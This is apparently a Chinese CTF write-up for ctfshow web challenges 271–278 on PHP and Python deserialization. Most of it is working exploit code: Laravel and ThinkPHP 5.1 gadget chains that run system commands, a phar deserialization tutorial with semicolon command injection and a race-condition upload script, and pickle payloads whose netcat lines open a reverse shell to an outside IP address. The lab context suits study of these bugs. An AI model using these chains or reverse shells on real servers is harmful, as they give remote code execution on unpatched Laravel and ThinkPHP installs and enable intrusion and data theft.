| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/

$app = require_once __DIR__ . '/../bootstrap/app.php';

/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/

$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
    $request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);

$kernel->terminate($request, $response);

poc如下

<?php

namespace Illuminate\Foundation\Testing {
    class PendingCommand
    {
        public $test;
        protected $app;
        protected $command;
        protected $parameters;

        public function __construct($test, $app, $command, $parameters)
        {
            $this->test = $test;                 //一个实例化的类 Illuminate\Auth\GenericUser
            $this->app = $app;                   //一个实例化的类 Illuminate\Foundation\Application
            $this->command = $command;           //要执行的php函数 system
            $this->parameters = $parameters;     //要执行的php函数的参数  array('id')
        }
    }
}

namespace Faker {
    class DefaultGenerator
    {
        protected $default;

        public function __construct($default = null)
        {
            $this->default = $default;
        }
    }
}

namespace Illuminate\Foundation {
    class Application
    {
        protected $instances = [];

        public function __construct($instances = [])
        {
            $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
        }
    }
}

namespace {
    $defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));

    $app = new Illuminate\Foundation\Application();

    $application = new Illuminate\Foundation\Application($app);

    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('cp /f* 1.txt')); //此处执行命令

    echo urlencode(serialize($pendingcommand));
}

ctfshow{7d2d5c71-7b71-4c35-b5e6-690e45e9b2ea}

web272

Laravel5.8 反序列化漏洞

poc如下

<?php
namespace Illuminate\Broadcasting{

    use Illuminate\Bus\Dispatcher;
    use Illuminate\Foundation\Console\QueuedCommand;

    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct(){
            $this->events=new Dispatcher();
            $this->event=new QueuedCommand();
        }
    }
}
namespace Illuminate\Foundation\Console{

    use Mockery\Generator\MockDefinition;

    class QueuedCommand
    {
        public $connection;
        public function __construct(){
            $this->connection=new MockDefinition();
        }
    }
}
namespace Illuminate\Bus{

    use Mockery\Loader\EvalLoader;

    class Dispatcher
    {
        protected $queueResolver;
        public function __construct(){
            $this->queueResolver=[new EvalLoader(),'load'];
        }
    }
}
namespace Mockery\Loader{
    class EvalLoader
    {

    }
}
namespace Mockery\Generator{
    class MockDefinition
    {
        protected $config;
        protected $code;
        public function __construct()
        {
            $this->code="<?php system('cat /f*');exit()?>"; //此处是PHP代码
            $this->config=new MockConfiguration();
        }
    }
    class MockConfiguration
    {
        protected $name="feng";
    }
}

namespace{

    use Illuminate\Broadcasting\PendingBroadcast;

    echo urlencode(serialize(new PendingBroadcast()));
}
image-20230731230921232

ctfshow{252df281-e370-4ad7-a613-7b1c3098cbd4}

web273

同272

web274

TP5.1反序列化漏洞,直接粘poc【抽时间还会复现跟一下链子,单独写一个学习记录】

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["lin"=>["calc.exe","calc"]];
        $this->data = ["lin"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system"; //PHP函数
    protected $config = [
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>'lin']; //PHP函数的参数
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}


namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
//TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJsaW4iO2E6Mjp7aTowO3M6ODoiY2FsYy5leGUiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJsaW4iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6OTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjM6ImxpbiI7fX19fX19
image-20230731232037253

ctfshow{f140fd81-e50f-4cf4-97ee-4f6a94233363}

web275

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-08 19:13:36
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile){
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}

where is flag?

直接分号分割

image-20230731231500498

ctfshow{32a26a24-10a2-42dd-8aaa-bda75f1d9394}

web276

  • Phar反序列化

题目源码如下

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-08 19:13:36
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;
    public $admin = false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile && $this->admin){
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}

where is flag?

Phar前置知识补充

在这里也借着这道题目初步学习一下phar反序列化

总而言之就是一些PHP题目是没有反序列化点的,这个时候就需要往phar上靠,因为很多访问路径是可以用到一些伪协议的,phar://就是其中的一个,可以简单理解这个phar伪协议的作用就是解压phar文件,没错,也可以把phar文件当成压缩包

phar文件有个标志必须有,,只有有这个标志才会被识别为phar文件,在phar文件中是存在序列化数据的,会以序列化字符串的形式存储用户自写的meta-data

这里也初步演示认识一下phar

用phpstudy的,要生成phar文件需要将自己对应的php的php.ini里面的phar.readonly设置成Off,并且把最前面的分号去掉

简单的生成phar的程序

<?php
    class TestObject {
    }
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $o -> data='hu3sky';
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

访问一下即可生成一个phar.phar

image-20230803144908224
就是刚才说的必带的标志

O:10:“TestObject”:1:{s:4:“data”;s:6:“hu3sky”;} 这个就是用户的meta-data,进行了序列化存储

当然,如何去判断能否利用phar,基本遇到下面的几个函数就可以通过phar伪协议来解析phar文件进行反序列化操作

fileatime
filectime
file_exists
file_get_contents
file_put_contents
file
filegroup
fopen
fileinode
filemtime
fileowner
fileperms
is_dir
is_executable
is_file
is_link
is_readable
is_writable
is_writeable
parse_ini_file
copy
unlink
stat
readfile

利用条件需要满足

除了上面的函数之外需要有可用的魔法函数调用当作中间跳板,函数参数可控,并且不能过滤phar://

满足这些条件就能用phar反序列化

这里也举个例子,伪协议读取phar文件然后就会进行反序列化,读取刚才生成的那个phar.phar

<?php
class TestObject{
    function __destruct()
    {
        echo $this -> data;   // TODO: Implement __destruct() method.
    }
}
include('phar://phar.phar');
?>
image-20230803145425539

还有就是一部分题目会不让传phar文件,就像文件上传题目不让上传php文件那样,我们应该去修改文件类型,那phar修改文件类型的方法也放这

可以看到,识别是不是phar就是看上面的那个__HALT_COMPILER();?>这段代码,所以我们只要在不影响系统识别phar文件的情况下也就是不动这个标志即可,可以对前面或者其后面的内容进行修改,加入想要伪造的文件类型的文件头以及后缀名即可

这里举个例子,就是将phar.phar文件伪造成gif文件,也就是在标志前面加一个GIF89a

<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>'); //设置stub
$o = new TestObject();
$o -> data='hu3sky';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
image-20230803164825868

开做

还是分号拼接执行命令

poc如下

<?php
class filter {
    public $filename = '1.txt;cat f*';
    public $filecontent;
    public $evilfile=true;
    public $admin = true;
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //设置stub
$o = new filter();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

生成phar包,但是可以发现有unlink函数,会一直删除,所以需要条件竞争执行

BP条件竞争 || python脚本

这里找了一个网上其他师傅写的脚本,直接套了

import requests
import threading
url="http://66155619-f7c6-4fb4-acf1-d196be37cdb8.chall.ctf.show:8080/"
f=open("./yn.phar","rb")
content=f.read()
def upload():  
    requests.post(url=url+"?fn=1.phar",data=content)
def read():  
    r = requests.post(url=url+"?fn=phar://1.phar/",data="1")
    if "ctfshow{"in r.text or "flag{" in r.text:
        print(r.text)
        exit()
while 1:
    t1=threading.Thread(target=upload)
    t2=threading.Thread(target=read)
    t1.start()
    t2.start()
image-20230803175440130

ctfshow{e2f7b8ff-833f-49af-a57c-0bcdd3a3716e}

web277

  • python反序列化
image-20230803175724700

看注释

image-20230803175743254
<!--/backdoor?data= m=base64.b64decode(data) m=pickle.loads(m) -->

pickle反序列化,可以用自己的服务器接收信息反弹shell,也可以用在线平台进行接收信息

poc如下

import os
import pickle
import base64
import requests
class exp(object):
    def __reduce__(self):
        return (os.popen,('nc 101.42.45.215 7789 -e /bin/sh',))#此处需要nc VPS的IP...

a=exp()
s=pickle.dumps(a)
url="http://d9a47af4-ee63-4b4a-9d54-e18c4457a73d.challenge.ctf.show/backdoor"
params={
    'data':base64.b64encode(s)
}

r=requests.get(url=url,params=params)
print(r.text)
image-20230803180109383

ctfshow{68e8812c-9aca-4bd0-b906-e54c3399f12b}

web278

  • python反序列化

过滤了os.system

poc如下

import pickle
import base64
import os


class RCE:
    def __reduce__(self):
        return os.popen, ("nc xxx.xxx.xxx.xxx 7777 -e /bin/sh",)


print(base64.b64encode(pickle.dumps(RCE())))
//gASVNwAAAAAAAACMAm9zlIwFcG9wZW6Uk5SMIG5jIDEwMS40Mi40NS4yMTUgNzc3NyAtZSAvYmluL3NolIWUUpQu
image-20230803180555371

ctfshow{32132a71-8e96-490a-8378-aa28957f7294}

制作不易,如若感觉写的不错,欢迎打赏